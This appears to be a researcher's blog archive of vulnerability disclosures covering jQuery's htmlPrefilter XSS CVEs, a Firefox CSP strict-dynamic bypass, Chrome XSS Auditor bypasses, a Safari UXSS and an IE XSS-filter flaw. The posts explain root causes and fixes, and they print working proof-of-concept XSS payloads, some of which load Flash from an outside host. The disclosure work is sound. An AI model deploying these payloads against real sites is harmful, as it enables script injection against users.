Sunday, May 17, 2020

CVE-2020-11022/CVE-2020-11023: jQuery 3.5.0 Security Fix details

jQuery 3.5.0 was released last month. In this version, two bugs which I reported are included as "Security Fix".

jQuery 3.5.0 Released! | Official jQuery Blog
https://blog.jquery.com/2020/04/10/jquery-3-5-0-released/

The bugs are regsited as CVE-2020-11022 and CVE-2020-11023:

https://github.com/advisories/GHSA-gxr4-xjj5-5px2
https://github.com/advisories/GHSA-jpcq-cgw6-v4j6

 In this article, I'd like to explain the bugs' details.

Overview of Problems


The application which has the following features is affected:

  • The application allows users to write any HTML (but it is sanitized)
  • The application dynamically appends the sanitized HTML with jQuery

The following code is an example of a such application:
<div id="div"></div>
<script>
//Sanitized safe HTML
sanitizedHTML = '<p title="foo">bar</p>';
//Just append the sanitized HTML to <div>
$('#div').html(sanitizedHTML);
</script>
In this situation, if the sanitization is performed properly, it looks like that usually XSS does not occur since it just appends the sanitized safe HTML. However, actually, .html() does the special string processing internally and it caused XSS. This is the issue which I'll explain in this article.

PoCs


There are many variations but I'll show basic three PoCs. Usually, JavaScript is not executed from the following HTMLs:

PoC 1.
<style><style /><img src=x onerror=alert(1)> 
PoC 2. (Only jQuery 3.x affected)
<img alt="<x" title="/><img src=x onerror=alert(1)>">
PoC 3.
<option><style></option></select><img src=x onerror=alert(1)></style>
You might think there is an img tag which has an onerror attribute, but if you check carefully, actually, it is placed in the attribute or inside of the style element, you will notice that it is not executed. So, even if those HTMLs are generated by an HTML sanitizer as the sanitized HTML, it is not unnatural at all.

However, in all cases, if the HTML is appended via jQuery .html(), JavaScript is executed unexpectedlly.

You can test each PoC in:
https://vulnerabledoma.in/jquery_htmlPrefilter_xss.html

Next, I'll explain why it happens.

CVE-2020-11023: Root cause (PoC 1,2)


The PoC 1 and 2 have the same root cause. Within the .html(), the HTML string passed as the argument is passed to the $.htmlPrefilter() method. The htmlPrefilter performs the processing for replacing the self-closing tags like <tagname /> to <tagname ></tagname>, by using the following regex:

rxhtmlTag = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:-]+)[^>]*)\/>/gi
[...]
htmlPrefilter: function( html ) {
  return html.replace( rxhtmlTag, "<$1></$2>" );
If the PoC 1's HTML passes through this replacement, the output will be:
> $.htmlPrefilter('<style><style /><img src=x onerror=alert(1)>')
< "<style><style ></style><img src=x onerror=alert(1)>"
The yellow part is the replaced string. Due to this replacement, the <style /> inside the style element is replaced to <style ></style> and as the result, the string after that is kicked out from the style element. After that, the .html() assigns the replaced HTML to innerHTML. Here, the <img ...> string becomes an actual img tag and it fires the onerror event.

By the way, the above regex is used in jQuery before 3.x. Since 3.x, another regex which is a bit modified is used:

https://github.com/jquery/jquery/commit/fb9472c7fbf9979f48ef49aff76903ac130d0959#diff-169760a97de5c86a886842060321d2c8L30-R30
rxhtmlTag = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^\/\0>\x20\t\r\n\f]*)[^>]*)\/>/gi

This change introduced another XSS vector which can cause XSS by more basic elements and attributes only. The PoC 2's vector is introduced by this change. It works on jQuery 3.x only.
> $.htmlPrefilter('<img alt="<x" title="/><img src=x onerror=alert(1)>">')
< "<img alt="<x" title="></x"><img src=x onerror=alert(1)>">"
In this case, the <img ...> string on the attribute's value is kicked out and XSS happens.

I explained the root cause of PoC 1 and 2. How did the jQuery team fix this?

The Fix (PoC 1,2)


jQuery Team fixed this issue by replacing the $.htmlPrefilter() method to an identity function. Therefore, the passed HTML string is no longer modified by the htmlPrefilter function now.

https://github.com/jquery/jquery/commit/90fed4b453a5becdb7f173d9e3c1492390a1441f#diff-169760a97de5c86a886842060321d2c8L201-R198

However, this did not solve all XSS issues. Inside the .html(), another string processing is performed and introduces another problem (PoC 3).

CVE-2020-11022: Root cause (PoC 3)


Inside the .html(), if the tag that appears at the beginning of the HTML which is passed as an argument is one of specific tags, jQuery tries to wrap it with another tag once and do the next processing. This is because some tags are automatically removed due to the HTML's specification or browser's bug if there is no wrapping processing.

The opiton element is one of such elements - in MSIE9, due to its bug, the option element is automatically removed when it is assigned to innerHTML, if it is not wrapped with the select element.

To deal with this, jQuery tries to wrap the entire passed HTML string including that element with the <select multiple='multiple'> and </select> if the passed HTML string's first element is the option element.

The wrapped tags are defined in:
https://github.com/jquery/jquery/blob/3.4.1/src/manipulation/wrapMap.js#L9

The actual wrapping processing is done in:
https://github.com/jquery/jquery/blob/d0ce00cdfa680f1f0c38460bc51ea14079ae8b07/src/manipulation/buildFragment.js#L39

The issue of PoC 3 happens via this wrapping processing. If the PoC 3's HTML passes through this wrapping processing, the HTML will be:
<select multiple='multiple'><option><style></option></select><img src=x onerror=alert(1)></style></select>
When this HTML is assigned to innerHTML in the jQuery's internal code, JavaScript is executed.

The reason why the script is executed is in the <select> tag's parsing.The <select> does not allow putting HTML tags except the option, optgroup, script and template element inside that element. Due to this specification, the inserted <style> is just ignored, the </select> inside the <style> becomes an actual select element's closing-tag, and then <select> block is closed there. Eventually, the next <img ...> is kicked out from the <style> and the onerror event fires -> XSS. This was the root cause.

The Fix (PoC 3)


jQuery Team fixed this issue by applying the wrapping procesing to MSIE9 only.

https://github.com/jquery/jquery/commit/966a70909019aa09632c87c0002c522fa4a1e30e#diff-51ec14165275b403bb33f28ce761cdedR25

MSIE9 is not vulnerable to this issue because MSIE9's <select> parsing is a bit special (yes, it's wrong). Therefore, applying the wrapping processing to MSIE9 only can solve this problem.

For your information, these issues exist not only in .html(), but also in .append(), $('<tag>') etc. Basically, the issue happens via the APIs in which the $.htmlPrefilter() method or wrapping processing is used internally.

Update it


If your application is appending the sanitized HTML via the jQuery functions, you should update to 3.5.0 or higher. If an updating is hard in some reason, I recommend sanitizing the HTML by using DOMPurify, which is XSS sanitizer. DOMPurify has a SAFE_FOR_JQUERY option and it can sanitize with considering the jQuery's behavior. You can use that, like this:

<div id="div"></div>
<script>
unsafeHtml = '<img alt="<x" title="/><img src=x onerror=alert(1)>">';
var sanitizedHtml = DOMPurify.sanitize( unsafeHtml, { SAFE_FOR_JQUERY: true } );
$('#div').html( sanitizedHtml );
</script>
Note that DOMPurify had the bypass in SAFE_FOR_JQUERY recently. Please make sure that you use 2.0.8 or higher.

In the end


I started to investigate this issue from XSS challenge by @PwnFunction:
https://xss.pwnfunction.com/challenges/ww3/

Actually, the some of these bugs were known and it was the expected solution of this challenge. (You can find that fact in the DOMPurify's change log. It was already known in 2014 at least and DOMPurify has the SAFE_FOR_JQUERY option since 2014. )

With the challenge as a trigger, I started to read jQuery's source code again and I noticed another vector (PoC 2), which is not mentioned publicly. Since this vector can allow XSS with the easy elements and attributes only, I thought many applications are vulnerable. When I actually investigated it, I found some vulnerable apps immediately. I reported it to the developer of the affected applications, at the same time I thought that this issue should be fixed by jQuery side, so I decided to report this to jQuery team. The jQuery team were quick to address the issues, even though they had to make breaking changes. Thank you jQuery team. Also, thanks to @PwnFunction, the creator of the XSS challenge, who gave me an opportunity to investigate this issue.

That's it. I hope this article helps for securing your web application or finding bugs.

Thursday, May 24, 2018

CVE-2018-5175: Universal CSP strict-dynamic bypass in Firefox

In this blogpost, I'd like to write about a CSP strict-dynamic bypass vulnerability which is fixed in Firefox 60.

https://www.mozilla.org/en-US/security/advisories/mfsa2018-11/#CVE-2018-5175
A mechanism to bypass Content Security Policy (CSP) protections on sites that have a script-src policy of 'strict-dynamic'. If a target website contains an HTML injection flaw an attacker could inject a reference to a copy of the require.js library that is part of Firefox’s Developer Tools, and then use a known technique using that library to bypass the CSP restrictions on executing injected scripts.

What is the "strict-dynamic"?


maybe you should read CSP spec :) https://www.w3.org/TR/CSP3/#strict-dynamic-usage
But for practicing writing in English, I'll explain about strict-dynamic. If you know about strict-dynamic, you don't have to read this section.

The well-known CSP restricts the loading of resources by whitelisting domains.
For example, the following CSP setting allows to load JavaScript only from its own origin and trusted.example.com:
Content-Security-Policy: script-src 'self' trusted.example.com
Thanks to this CSP, even if the page has an XSS vulnerability, the page is prevented to execute JavaScript from the inline scripts or JavaScript file of evil.example.org. It looks safe enough, however, if trusted.example.com has any scripts for bypassing CSP, it is still possible to execute JavaScript. More specifically, if trusted.example.com has a JSONP endpoint, it might be bypassed, like this:
<script src="//trusted.example.com/jsonp?callback=alert(1)//"></script>
If this endpoint reflects the user input passed to the callback parameter to the callback function name directly, it can be used as an arbitrary script as follows:
alert(1)//({});
In additon, it is known that AngularJS also can be used for bypassing CSP. This bypass possibility becomes more realistic, especially if domains hosting many JavaScript files, such as CDN, are allowed.

That way, in the whitelist, it is sometimes difficult to operate the CSP safely. To resolve this problem, strict-dynamic was designed. This is the example of usage:
Content-Security-Policy: script-src 'nonce-secret' 'strict-dynamic'
This CSP means that the whitelist will be disabled and only scripts having the "secret" string in the nonce attribute will load.
<!-- This will load -->
<script src="//example.com/assets/A.js" nonce="secret"></script>

<!-- This will not load -->
<script src="//example.com/assets/B.js"></script>
The A.js might want to load and use another JavaScript. To allow this, the CSP spec permits to load without the proper nonce attribute if the js having the proper nonce loads an another js in specific conditions.  With the word written in the spec, the non-"parser-inserted" script element can be allowed to execute JavaScript.

Below are concrete examples of what type of JavaScript are permitted:
/* A.js */

//This will load
var script=document.createElement('script');
script.src='//example.org/dependency.js';
document.body.appendChild(script);

//This will not load
document.write("<scr"+"ipt src='//example.org/dependency.js'></scr"+"ipt>");
When loading using createElement(), it's a non-"parser-inserted" script element and the loading is allowed. On the other hand, when loading using document.write(), it is a "parser-inserted" script element and it is not loaded.

Up to this point, I explained about strict-dynamic roughly.

By the way, the strcit-dynamic is bypassable in some cases. In the next, I'll introduce about a known strict-dynamic bypass.

Known strict-dynamic bypass


It is known that strict-dynamic also can be bypassed if a specific library is used in the target page.

By Google's Sebastian Lekies, Eduardo Vela Nava, and Krzysztof Kotowicz, affected libraries are listed here:

Let's look into the strict-dynamic bypass of require.js on this list.
Let's say the target page uses CSP with strict-dynamic, loads require.js and has a simple XSS. In this situation, if the following script element is inserted, an attacker can execute arbitrary JavaScript without the proper nonce.
<meta http-equiv="Content-Security-Policy" content="default-src 'none';script-src 'nonce-secret' 'strict-dynamic'">
<!-- XSS START -->
<script data-main="data:,alert(1)"></script>
<!-- XSS END -->
<script nonce="secret" src="require.js"></script>
When the require.js finds a script element with a data-main attribute, it loads a script specified in the data-main attribute from the equivalent code as below:
var node = document.createElement('script');
node.src = 'data:,alert(1)';
document.head.appendChild(node);
As described before, the strict-dynamic is allowed to load JavaScript from createElement() without the proper nonce.

That way, you can bypass the CSP strict-dynamic in some cases using the behavior of already loaded JavaScript code.

Firefox's vulnerability was caused by this behavior of require.js.
In the next section, I'll explain the vulnerability.

Universal strict-dynamic bypass(CVE-2018-5175)


Firefox implements some browser features using legacy extensions. The legacy extensions means XUL/XPCOM-based extensions that was removed in Firefox 57, not WebExtensions. Even on the latest Firefox 60, the browser internals still uses this mechanism.

In this bypass, we use a resource of the legacy extension which is used in browser internals. In WebExtensions, by setting a web_accessible_resources key in the manifest, the listed resources become accessible from any web pages. The legacy extension has a similar option named contentaccessible flag. In this bypass, it could be used for bypassing CSP because a require.js of browser's internal resource was accessible from any web pages due to the contentaccessible=yes flag.

Let's look into the manifest. If you are using 64bit Firefox on Windows, you can see the manifest from the following URL:

jar:file:///C:/Program%20Files%20(x86)/Mozilla%20Firefox/browser/omni.ja!/chrome/chrome.manifest
content branding browser/content/branding/ contentaccessible=yes
content browser browser/content/browser/ contentaccessible=yes
skin browser classic/1.0 browser/skin/classic/browser/
skin communicator classic/1.0 browser/skin/classic/communicator/
content webide webide/content/
skin webide classic/1.0 webide/skin/
content devtools-shim devtools-shim/content/
content devtools devtools/content/
skin devtools classic/1.0 devtools/skin/
locale branding ja ja/locale/branding/
locale browser ja ja/locale/browser/
locale browser-region ja ja/locale/browser-region/
locale devtools ja ja/locale/ja/devtools/client/
locale devtools-shared ja ja/locale/ja/devtools/shared/
locale devtools-shim ja ja/locale/ja/devtools/shim/
locale pdf.js ja ja/locale/pdfviewer/
overlay chrome://browser/content/browser.xul chrome://browser/content/report-phishing-overlay.xul
overlay chrome://browser/content/places/places.xul chrome://browser/content/places/downloadsViewOverlay.xul
overlay chrome://global/content/viewPartialSource.xul chrome://browser/content/viewSourceOverlay.xul
overlay chrome://global/content/viewSource.xul chrome://browser/content/viewSourceOverlay.xul
override chrome://global/content/license.html chrome://browser/content/license.html
override chrome://global/content/netError.xhtml chrome://browser/content/aboutNetError.xhtml
override chrome://global/locale/appstrings.properties chrome://browser/locale/appstrings.properties
override chrome://global/locale/netError.dtd chrome://browser/locale/netError.dtd
override chrome://mozapps/locale/downloads/settingsChange.dtd chrome://browser/locale/downloads/settingsChange.dtd
resource search-plugins chrome://browser/locale/searchplugins/
resource usercontext-content browser/content/ contentaccessible=yes
resource pdf.js pdfjs/content/
resource devtools devtools/modules/devtools/
resource devtools-client-jsonview resource://devtools/client/jsonview/ contentaccessible=yes

resource devtools-client-shared resource://devtools/client/shared/ contentaccessible=yes
The yellow part is the part that makes the file accessible from any web sites. These two lines are for creating a resource: URI. The resource devtools devtools/modules/devtools/ of first line is mapping devtools/modules/devtools/ directory ( It exists on jar:file:///C:/Program%20Files%20(x86)/Mozilla%20Firefox/browser/omni.ja!/chrome/devtools/modules/devtools/ )  to resource://devtools/ .
We can now access files under the directory by opening resource://devtools/ using Firefox. Likewise, the next line is mapping to resource://devtools-client-jsonview/. This URL becomes web-accessible by the contentaccessible=yes flag and we can now load the files placed under this directory from any web pages.
This directory has a require.js which is used for bypassing CSP. Just loading this require.js to the page where the CSP strict-dynamic is used, you can bypass strict-dynamic.
<meta http-equiv="Content-Security-Policy" content="default-src 'none';script-src 'nonce-secret' 'strict-dynamic'">
<!-- XSS START -->
<script data-main="data:,alert(1)"></script>
<script  src="resource://devtools-client-jsonview/lib/require.js"></script>
<!-- XSS END -->
From this code, data: URL will be loaded as a JavaScript resource and it will pop up an alert dialog. 

You might think, "Hmm, why is the require.js loaded? It should be blocked by CSP because the script element does not have the proper nonce."

Actually, no matter how strictly you set CSP rules, the web-accessible resources of the extension is loaded ignoring the CSP. This behavior is mentioned in the CSP spec:

Policy enforced on a resource SHOULD NOT interfere with the operation of user-agent features like addons, extensions, or bookmarklets. These kinds of features generally advance the user’s priority over page authors, as espoused in [HTML-DESIGN].
Firefox's resource: URI also had this rule. Thanks to this, users can use the extension's features as expected even on the page where the CSP is set, but on the other hand, this privilege sometimes can be used for bypassing the CSP, like this bug's case.
Of course, this issue is not limited to browser internal resources. Even on general browser extensions, the same thing happens if there are web-accessible resources that can be used for bypassing CSP.

It seems that Firefox folks fixed this bug by applying page's CSP to the resource: URI.

In the end of article


I wrote about a CSP strict-dynamic bypass vulnerability of Firefox.

FYI, I found this issue when I was looking for another solution of Cure53 CNY XSS Challenge 2018's third level which I made. In this challenge, I used another trick to bypass strict-dynamic. Please check it if you are interested.

Also, I created a different version of this XSS Challenge and I'm still waiting your answer :)

Lastly, I'd like to thank Google's research which made me notice this bug. Thank you!

Tuesday, December 27, 2016

XSS Auditor bypass using obscure <param> tag

Hi there!
I just found an XSS Auditor bypass by accident when I read Chromium's code for the another reason.
In this short post, I'd like to share this bypass. I confirmed that it works on Chrome Canary 57.
I have already reported here: https://bugs.chromium.org/p/chromium/issues/detail?id=676992

The bypass is:

https://vulnerabledoma.in/char_test?body=%3Cobject%20allowscriptaccess=always%3E%20%3Cparam%20name=url%20value=https://l0.cm/xss.swf%3E
<object allowscriptaccess=always>
<param name=url value=https://l0.cm/xss.swf>
Also it works:

https://vulnerabledoma.in/char_test?body=%3Cobject%20allowscriptaccess=always%3E%20%3Cparam%20name=code%20value=https://l0.cm/xss.swf%3E
<object allowscriptaccess=always>
<param name=code value=https://l0.cm/xss.swf>
I didn't know that Chrome supports such params until I found it in the HTMLObjectElement.cpp:
if (url.isEmpty() && urlParameter.isEmpty() &&
    (equalIgnoringCase(name, "src") || equalIgnoringCase(name, "movie") ||
     equalIgnoringCase(name, "code") || equalIgnoringCase(name, "url")))
  urlParameter = stripLeadingAndTrailingHTMLSpaces(p->value());
The <param name="src" value="//attacker/xss.swf"> and <param name="movie" value="//attacker/xss.swf"> are blocked by XSS Auditor. But I noticed that code and url are not blocked. Using this, we can load Flash and execute the JavaScript. According to the source code's comment, it seems Chrome supports this for compatibility. But at least I confirmed it does not work on IE/Edge and Firefox. I think Chrome can remove this support :)

That's it. I wrote about XSS Auditor bypass using <param>. Thanks for reading!

Thursday, October 6, 2016

XSS via Referrer After Anniversary Update

Since the Windows 10 anniversary update, it seems that Microsoft killed some XSS tricks on IE11/Edge. The referrer behavior is one of them.

The following page writes the HTTP_REFERER and document.referrer directly:
https://vulnerabledoma.in/xss_referrer

Previously IE/Edge did not encode the "<> characters in the referrer string. So, we could XSS on that page from the following PoC:
https://l0.cm/xss_referrer_oldpoc.html?<script>alert("1")</script>

But since the Windows 10 anniversary update, IE11/Edge encodes it. You will get the following encoded string from that page:
HTTP_REFERER: https://l0.cm/xss_referrer_oldpoc.html?%3Cscript%3Ealert(%221%22)%3C/script%3E
document.referrer: https://l0.cm/xss_referrer_oldpoc.html?%3Cscript%3Ealert(%221%22)%3C/script%3E
Too bad!
Of course, we can still use Win8.1/7 IE11. But also we want to XSS on Win10, don't you? :D

Today, I would like to introduce a small technique, XSS using the referrer on latest Win10 Edge/IE11.

The technique is very simple. You can easily include "<> string into the referrer if you send the request from Flash's navigateToURL() method, like this:

https://l0.cm/xss_referrer.swf?<script>alert(1)</script>

The ActionScript code is here:
package {
 import flash.display.Sprite;
 import flash.net.URLRequest;
 import flash.net.navigateToURL;
 public class xss_referrer extends Sprite{
  public function xss_referrer() {
   var url:URLRequest = new URLRequest("https://vulnerabledoma.in/xss_referrer");
   navigateToURL(url, "_self");
  }
 }
}
As you can see the access result, we can XSS via the Referer request header. But sadly, we cannot XSS via the document.referrer property because it becomes empty. Dang :p

FYI, also I can reproduce it via the submitForm() method of JavaScript for Acrobat API.

I confirmed it on Win10 IE11 with Adobe Reader plugin.

PoC is here:
https://l0.cm/xss_referrer.pdf?<script>alert(1)</script>

It seems that the request via plugins is not considered.

That's it. It might be helpful in some cases :)
Thanks!

Sunday, September 25, 2016

CVE-2016-4758: UXSS in Safari's showModalDialog

I would like to share about details of Safari's UXSS bug(CVE-2016-4758). This bug was fixed in Safari 10.

https://support.apple.com/en-us/HT207157
WebKit
Available for: OS X Yosemite v10.10.5, OS X El Capitan v10.11.6, and macOS Sierra 10.12
Impact: Visiting a maliciously crafted website may leak sensitive data
Description: A permissions issue existed in the handling of the location variable. This was addressed though additional ownership checks.
CVE-2016-4758: Masato Kinugawa of Cure53
FYI, Mobile Safari is not vulnerable because it does not have the showModalDialog method.

Preconditions for Attack

To attack using this bug, we need two conditions:
  1. The target page navigates to the relative URL using JavaScript. (e.g. location="/",window.open("/","_blank"))
  2. That navigation is done after the completion of the page loading.

I created the page that satisfies it:

<script>
function go_top(){
location="/index.html";
}
</script>
<button onclick=go_top()>Top Page</button>

This page's only purpose is that navigates to https://vulnerabledoma.in/index.html when the user click the "Top Page" button.
I think there are pages like that everywhere. But using this bug, we can do XSS attack in this conditions.

The Bug

Now, let's use the showModalDialog method.
The following page only opens the target page in a modal dialog:

https://l0.cm/safari_uxss_showModalDialog/example.html
<script>
function go(){
showModalDialog("https://vulnerabledoma.in/safari_uxss_showModalDialog/target.html");
}
</script>
<button onclick=go()>go</button>
What will happen when we click the "Top Page" button in the modal dialog? Needless to say, we will go to https://vulnerabledoma.in/index.html. But Safari was different. Surprisingly, Safari navigated to https://l0.cm/index.html. Obviously, Safari mistakes the parent window's base URL for the modal window's base URL.

(Side Note: This behavior exists in only the JavaScript navigation APIs. For example, the <a> tag and xhr.open("GET",[URL]) used the correct URL. )

Developing XSS attacks

According to html5sec.org #42, Safari allows to set the javascript: URL to the base tag. So, I thought that I might be able to XSS if I set the javascript: URL to the base tag in the parent page.

And my assumption was correct. This is final PoC:

<!DOCTYPE html>
<html>
<head>
<base href="javascript://%0Aalert%28document.domain%29%2F/">
</head>
<body>
<script>
function go(){
showModalDialog("http://vulnerabledoma.in/safari_uxss_showModalDialog/target.html");
}
</script>
<button onclick=go()>go</button>
</body>
</html>
If it goes well, you can see an alert dialog when you click "Top Page" button, like the following screen shot:


Yay!

Conclusion

I wrote about Safari's UXSS bug. I reported this bug on June 15, 2015. This bug was living in WebKit for over a year after I reported.

If I find interesting bug, I'll share again :D Thanks!

Friday, July 15, 2016

Abusing XSS Filter: One ^ leads to XSS(CVE-2016-3212)

In the past, I talked about XSS attacks exploiting IE XSS filter in CODE BLUE, which is an information security conference in Japan. A similar bug is fixed in June patch as CVE-2016-3212.
So, in this post, I would like to explain details of this bug.

As described in my slides, applying the XSS filter rules to an irrelevant context, we can do XSS attacks using the filter behavior replacing the . with the # even if the page does not have an XSS bug.




To prevent such attacks, Microsoft changed the filter behavior by December 2015 patch. After this patch, the ^ is used as the replacement character of the . instead of the #. Indeed, this can prevent attacks above. But it brought another nightmare. After several months, I confirmed an XSS using this behavior in Google's domain, and I got $3133.7 as rewards through Google VRP.

Google sets X-XSS-Protection: 1;mode=block header in almost their services. But not all. So, I checked carefully some pages which have no mode=block. As a result, I discovered that the vulnerable page exists in Javadoc on cloud.google.com.

I put the approximate copy:

http://vulnerabledoma.in/xxn/xss_javadoc.html

This page becomes vulnerable to XSS when one . is replaced with the ^ by the XSS filter.
Can you find where it is?

The answer is the . of the yellow part:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" "http://www.w3.org/TR/html4/frameset.dtd">
<!-- NewPage -->
<html lang="en">
<head>
<title>javadoc</title>
<script type="text/javascript">
    targetPage = "" + window.location.search;
    if (targetPage != "" && targetPage != "undefined")
targetPage = targetPage.substring(1);
if (targetPage.indexOf(":") != -1 || (targetPage != "" && !validURL(targetPage)))
        targetPage = "undefined";
    function validURL(url) {
        try {
            url = decodeURIComponent(url);
        }
        catch (error) {
            return false;
        }
        var pos = url.indexOf(".html");
        if (pos == -1 || pos != url.length - 5)
            return false;
        var allowNumber = false;
        var allowSep = false;
        var seenDot = false;
        for (var i = 0; i < url.length - 5; i++) {
            var ch = url.charAt(i);
            if ('a' <= ch && ch <= 'z' ||
                    'A' <= ch && ch <= 'Z' ||
                    ch == '$' ||
                    ch == '_' ||
                    ch.charCodeAt(0) > 127) {
                allowNumber = true;
                allowSep = true;
            } else if ('0' <= ch && ch <= '9'
                    || ch == '-') {
                if (!allowNumber)
                     return false;
            } else if (ch == '/' || ch == '.') {
                if (!allowSep)
                    return false;
                allowNumber = false;
                allowSep = false;
                if (ch == '.')
                     seenDot = true;
                if (ch == '/' && seenDot)
                     return false;
            } else {
                return false;
            }
        }
        return true;
    }
    function loadFrames() {
        if (targetPage != "" && targetPage != "undefined")
             top.classFrame.location = top.targetPage;
    }
</script>
</head>
<frameset cols="20%,80%" title="Documentation frame" onload="top.loadFrames()">
<frameset rows="30%,70%" title="Left frames" onload="top.loadFrames()">
<frame src="/" name="packageListFrame" title="All Packages">
<frame src="/" name="packageFrame" title="All classes and interfaces (except non-static nested types)">
</frameset>
<frame src="/" name="classFrame" title="Package, class and interface descriptions" scrolling="yes">
<noframes>
<noscript>
<div>JavaScript is disabled on your browser.</div>
</noscript>
<h2>Frame Alert</h2>
<p>This document is designed to be viewed using the frames feature. If you see this message, you are using a non-frame-capable web client. Link to <a href="overview-summary.html">Non-frame version</a>.</p>
</noframes>
</frameset>
</html>
In the <script>, it checks whether the given string via location.search is safe.
For example, the following unsafe URL is blocked:

http://vulnerabledoma.in/xxn/xss_javadoc.html?javascript:alert(1)

Then, what will happen when the . of the yellow part is replaced with the ^?

Let's actually try it. If you put the following strings in the target URL, the page content is forcibly matched to XSS filter rules, and we can replace the aimed . with the ^:



You can reproduce this bug from the following URL using IE/Edge which does not have June 2016 patch:

http://vulnerabledoma.in/xxn/xss_javadoc.html?javascript:alert(1)//"++++++++++++.i+++=

Also I put the replaced page for you who already applied the patch. You can confirm same behavior:

http://vulnerabledoma.in/xxn/xss_javadoc2.html?javascript:alert(document.domain)

A crucial difference from # and ^, the # is not the operator in JavaScript, but the ^ is the operator. For example, if the a.b; is in the page and it is replaced with # and ^, a#b; is the syntax error but a^b; is valid syntax. It brings an XSS bug.




After June 2016 patch, when the XSS filter replaces the ., the mode=block behavior is enforced even if the page does not have X-XSS-Protection header.

I was surprised and disgusted when the ^ is displayed but anyway it has finally calmed down!

Also, in the recent patch(July 2016), it seems that Microsoft killed almost possibilities of XSS attacks exploiting XSS filter. I will write this details in next post :)

Thanks!

Wednesday, May 18, 2016

XSS Auditor bypass using Flash and base tag

A few days ago, I was playing Chrome XSS Auditor bypass with Mario.

Mario discovered this bypass:
Also I found an another bypass. In this post, I would like to share my vector.

I have filed this bug on: https://bugs.chromium.org/p/chromium/issues/detail?id=612672

The vector is this:
https://vulnerabledoma.in/xss_auditortest?test=1&q=<embed+allowscriptaccess=always+src=/xss.swf><base+href=//l0.cm/
<div><embed allowscriptaccess=always src=/xss.swf><base href=//l0.cm/</div>
Let's take a look at the process until reaching this bypass.

It is blocked to fetch the external resources using the <embed>:
https://vulnerabledoma.in/xss_auditortest?test=1&q=<embed+src=https://evil/>
<embed src=https://evil/>
But it is not blocked to fetch any same-origin resources having no query string:

https://vulnerabledoma.in/xss_auditortest?test=1&q=<embed+src=/aaa>
<embed src=/aaa>
So, if we can change the base URL, it is possible to do XSS attacks.
The base tag is also blocked but if it is not closed with >, Auditor does not block in some cases.

The following case is blocked:
https://vulnerabledoma.in/xss_auditortest?test=3&q=<base+href=//evil/
<div><base href=//evil/ </div>
But the following case is not blocked:
https://vulnerabledoma.in/xss_auditortest?test=1&q=<base+href=//evil/
<div><base href=//evil/</div>
Can you see the difference? The former page exists a white space behind the injection point. It seems it is blocked by Auditor if the page has a white space directly behind the injection point. In other words, we can inject a base tag without being blocked if the page does not have a white space directly behind the injection point.

Thus, my vector works!

https://vulnerabledoma.in/xss_auditortest?test=1&q=<embed+allowscriptaccess=always+src=/xss.swf><base+href=//l0.cm/
<div><embed allowscriptaccess=always src=/xss.swf><base href=//l0.cm/</div>
So, can't we always bypass if the page has a white space directly behind? No! We still have a chance to bypass.
If the "' characters exists under the injection point, we can bypass Auditor using the unclosed attribute quotes, like <base href="//evil/.

It is not blocked in the following condition:
https://vulnerabledoma.in/xss_auditortest?test=4&q=<embed+allowscriptaccess=always+src=/xss.swf><base+href="//l0.cm/
<div>
<embed allowscriptaccess=always src=/xss.swf><base href="//l0.cm/
</div><div id="x">AAA</div>
I think this bypass is useful because most pages have the "' characters under the injection point.

FYI, also <script src=/xss.js></script><base href=//evil/ is not blocked. But we can't load the external resource because the loading is started before the base URL is set:

https://vulnerabledoma.in/xss_auditortest?test=1&q=%3Cscript%20src=/xss.js%3E%3C/script%3E%3Cbase%20href=//evil/

Thus, I used Flash.

That's all. Thanks for reading my post :)